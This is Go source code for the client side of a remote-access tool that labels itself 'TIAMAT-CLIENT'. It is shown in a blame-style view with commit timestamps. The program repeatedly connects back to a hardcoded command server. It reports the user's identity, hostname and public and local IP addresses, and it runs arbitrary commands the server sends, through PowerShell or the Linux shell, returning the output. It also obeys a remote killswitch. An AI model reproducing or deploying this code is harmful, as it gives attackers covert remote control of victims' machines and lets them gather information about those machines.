2024-06-03 10:06:33 +02:00
|
|
|
package main
|
|
|
|
|
|
|
|
import (
|
|
|
|
"encoding/gob"
|
2024-06-03 15:06:44 +02:00
|
|
|
"fmt"
|
2024-06-04 08:53:13 +02:00
|
|
|
"io"
|
2024-06-03 10:06:33 +02:00
|
|
|
"log"
|
|
|
|
"net"
|
2024-06-04 08:53:13 +02:00
|
|
|
"net/http"
|
2024-06-03 10:06:33 +02:00
|
|
|
"os"
|
2024-06-05 09:45:39 +02:00
|
|
|
"os/exec"
|
2024-06-03 10:06:33 +02:00
|
|
|
"os/user"
|
2024-06-03 15:06:44 +02:00
|
|
|
"runtime"
|
2024-06-04 09:36:28 +02:00
|
|
|
"strings"
|
2024-06-10 08:55:06 +02:00
|
|
|
"time"
|
2024-06-03 10:06:33 +02:00
|
|
|
)
|
|
|
|
|
|
|
|
type Client struct {
|
2024-06-03 15:06:44 +02:00
|
|
|
Username string
|
|
|
|
UID string
|
|
|
|
GID string
|
2024-06-03 10:06:33 +02:00
|
|
|
OperatingSystem string
|
2024-06-03 15:06:44 +02:00
|
|
|
Hostname string
|
2024-06-04 08:53:13 +02:00
|
|
|
PublicIP string
|
2024-06-10 09:19:16 +02:00
|
|
|
LocalIP string
|
2024-06-03 15:06:44 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
type Instructions struct {
|
2024-06-07 10:00:09 +02:00
|
|
|
IsHeartbeat bool
|
|
|
|
IsCommand bool
|
|
|
|
IsKillswitch bool
|
|
|
|
Message string
|
2024-06-04 08:53:13 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
type Response struct {
|
2024-06-05 09:45:39 +02:00
|
|
|
Successful bool
|
|
|
|
Message string
|
2024-06-03 10:06:33 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
var (
|
2024-06-07 10:00:09 +02:00
|
|
|
RemoteIP = "192.168.1.181"
|
|
|
|
RemotePort = "1302"
|
2024-06-03 10:06:33 +02:00
|
|
|
)
|
|
|
|
|
|
|
|
func main() {
|
2024-06-10 08:55:06 +02:00
|
|
|
log.SetPrefix("[TIAMAT-CLIENT] ")
|
|
|
|
for {
|
|
|
|
if err := start(); err != nil {
|
|
|
|
log.Print(err)
|
|
|
|
}
|
|
|
|
time.Sleep(time.Second * 5)
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
func start() error {
|
2024-06-03 10:06:33 +02:00
|
|
|
conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort)
|
|
|
|
if err != nil {
|
2024-06-10 08:55:06 +02:00
|
|
|
e := fmt.Errorf("Error happened connecting to server: %v\n", err)
|
|
|
|
return e
|
2024-06-03 10:06:33 +02:00
|
|
|
}
|
|
|
|
defer conn.Close()
|
2024-06-10 09:19:16 +02:00
|
|
|
localIP := fmt.Sprint(conn.LocalAddr().(*net.TCPAddr).IP)
|
|
|
|
if err := sendOSInfo(conn, localIP); err != nil {
|
2024-06-10 08:55:06 +02:00
|
|
|
return err
|
2024-06-03 10:06:33 +02:00
|
|
|
}
|
|
|
|
for {
|
2024-06-04 08:53:13 +02:00
|
|
|
if err := awaitInstructions(conn); err != nil {
|
2024-06-10 08:55:06 +02:00
|
|
|
e := fmt.Errorf("Error happened awaiting instructions: %v\n", err)
|
|
|
|
return e
|
2024-06-04 08:53:13 +02:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
func getIP() (string, error) {
|
|
|
|
res, err := http.Get("https://ip.bulgariu.xyz")
|
|
|
|
if err != nil {
|
2024-06-10 08:55:06 +02:00
|
|
|
log.Printf("Error happened GETting IP: %v\n", err)
|
2024-06-04 08:53:13 +02:00
|
|
|
return "", nil
|
|
|
|
}
|
|
|
|
resbody, err := io.ReadAll(res.Body)
|
|
|
|
if err != nil {
|
2024-06-10 08:55:06 +02:00
|
|
|
log.Printf("Error happened reading IP body: %v\n", err)
|
2024-06-04 08:53:13 +02:00
|
|
|
return "", nil
|
2024-06-03 10:06:33 +02:00
|
|
|
}
|
2024-06-04 09:36:28 +02:00
|
|
|
ip := strings.TrimRight(string(resbody), "\n")
|
|
|
|
return ip, nil
|
2024-06-03 10:06:33 +02:00
|
|
|
}
|
|
|
|
|
2024-06-10 09:19:16 +02:00
|
|
|
func sendOSInfo(conn net.Conn, localIP string) error {
|
2024-06-03 10:06:33 +02:00
|
|
|
currentUser, err := user.Current()
|
|
|
|
if err != nil {
|
2024-06-04 08:53:13 +02:00
|
|
|
e := fmt.Errorf("Error happened getting user: %v\n", err)
|
|
|
|
return e
|
2024-06-03 10:06:33 +02:00
|
|
|
}
|
|
|
|
|
2024-06-03 15:06:44 +02:00
|
|
|
clientHostname, err := os.Hostname()
|
|
|
|
if err != nil {
|
2024-06-04 08:53:13 +02:00
|
|
|
e := fmt.Errorf("Error happened getting hostname: %v\n", err)
|
|
|
|
return e
|
|
|
|
}
|
|
|
|
|
|
|
|
ip, err := getIP()
|
|
|
|
if err != nil {
|
|
|
|
e := fmt.Errorf("Error happened pulling IP: %v\n", err)
|
|
|
|
return e
|
2024-06-03 15:06:44 +02:00
|
|
|
}
|
|
|
|
|
2024-06-03 10:06:33 +02:00
|
|
|
newClient := Client{
|
2024-06-03 15:06:44 +02:00
|
|
|
Username: currentUser.Username,
|
|
|
|
UID: currentUser.Uid,
|
|
|
|
GID: currentUser.Gid,
|
|
|
|
OperatingSystem: runtime.GOOS,
|
|
|
|
Hostname: clientHostname,
|
2024-06-04 08:53:13 +02:00
|
|
|
PublicIP: ip,
|
2024-06-10 09:19:16 +02:00
|
|
|
LocalIP: localIP,
|
2024-06-03 10:06:33 +02:00
|
|
|
}
|
|
|
|
|
2024-06-03 15:06:44 +02:00
|
|
|
enc := gob.NewEncoder(conn)
|
2024-06-03 10:06:33 +02:00
|
|
|
err = enc.Encode(newClient)
|
|
|
|
if err != nil {
|
2024-06-04 08:53:13 +02:00
|
|
|
e := fmt.Errorf("Error happened sending OS info to server: %v\n", err)
|
|
|
|
return e
|
2024-06-03 10:06:33 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
return nil
|
|
|
|
}
|
|
|
|
|
2024-06-03 15:06:44 +02:00
|
|
|
func awaitInstructions(conn net.Conn) error {
|
|
|
|
dec := gob.NewDecoder(conn)
|
|
|
|
inst := Instructions{}
|
|
|
|
err := dec.Decode(&inst)
|
|
|
|
if err != nil {
|
|
|
|
return err
|
|
|
|
}
|
2024-06-04 16:09:07 +02:00
|
|
|
|
|
|
|
switch {
|
|
|
|
///////////////////////////////
|
|
|
|
case inst.IsHeartbeat == true && inst.Message == "PING":
|
2024-06-05 09:45:39 +02:00
|
|
|
if err := Heartbeat(conn); err != nil {
|
2024-06-04 16:09:07 +02:00
|
|
|
return err
|
2024-06-04 09:36:28 +02:00
|
|
|
}
|
2024-06-04 08:53:13 +02:00
|
|
|
return nil
|
2024-06-04 16:09:07 +02:00
|
|
|
///////////////////////////////
|
2024-06-05 09:45:39 +02:00
|
|
|
case inst.IsCommand == true:
|
2024-06-06 09:28:26 +02:00
|
|
|
executeCommand(conn, inst.Message)
|
2024-06-05 09:45:39 +02:00
|
|
|
///////////////////////////////
|
2024-06-07 10:00:09 +02:00
|
|
|
case inst.IsKillswitch == true:
|
|
|
|
os.Exit(0)
|
2024-06-04 16:09:07 +02:00
|
|
|
default:
|
2024-06-05 09:45:39 +02:00
|
|
|
sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
|
2024-06-04 08:53:13 +02:00
|
|
|
}
|
2024-06-04 16:09:07 +02:00
|
|
|
///////////////////////////////
|
2024-06-04 08:53:13 +02:00
|
|
|
return nil
|
|
|
|
}
|
|
|
|
|
2024-06-05 09:45:39 +02:00
|
|
|
func Heartbeat(conn net.Conn) error {
|
|
|
|
resp := Response{Successful: true, Message: "PONG"}
|
|
|
|
err := sendMessage(resp, conn)
|
|
|
|
if err != nil {
|
|
|
|
return err
|
|
|
|
}
|
|
|
|
return nil
|
|
|
|
}
|
|
|
|
|
2024-06-06 09:28:26 +02:00
|
|
|
func executeCommand(conn net.Conn, command string) {
|
2024-06-06 11:37:54 +02:00
|
|
|
var out []byte
|
|
|
|
var err error
|
|
|
|
|
2024-06-05 09:45:39 +02:00
|
|
|
formattedCommand := strings.Fields(command)
|
2024-06-06 11:37:54 +02:00
|
|
|
switch runtime.GOOS {
|
|
|
|
case "windows":
|
|
|
|
t := []string{"-NoProfile"}
|
|
|
|
t = append(t, formattedCommand...)
|
|
|
|
out, err = exec.Command("powershell", t...).Output()
|
|
|
|
case "linux":
|
|
|
|
out, err = exec.Command(formattedCommand[0], formattedCommand[1:]...).Output()
|
|
|
|
}
|
2024-06-05 09:45:39 +02:00
|
|
|
if err != nil {
|
2024-06-06 09:28:26 +02:00
|
|
|
errorMsg := fmt.Sprintf("%v\n", err)
|
|
|
|
resp := Response{Successful: false, Message: errorMsg}
|
2024-06-05 09:45:39 +02:00
|
|
|
sendMessage(resp, conn)
|
2024-06-06 09:28:26 +02:00
|
|
|
return
|
2024-06-05 09:45:39 +02:00
|
|
|
}
|
|
|
|
resp := Response{
|
|
|
|
Successful: true,
|
|
|
|
Message: string(out),
|
|
|
|
}
|
|
|
|
sendMessage(resp, conn)
|
|
|
|
}
|
|
|
|
|
2024-06-04 08:53:13 +02:00
|
|
|
func sendMessage(resp Response, conn net.Conn) error {
|
|
|
|
enc := gob.NewEncoder(conn)
|
|
|
|
err := enc.Encode(&resp)
|
|
|
|
if err != nil {
|
|
|
|
return err
|
|
|
|
}
|
2024-06-03 10:06:33 +02:00
|
|
|
return nil
|
|
|
|
}
|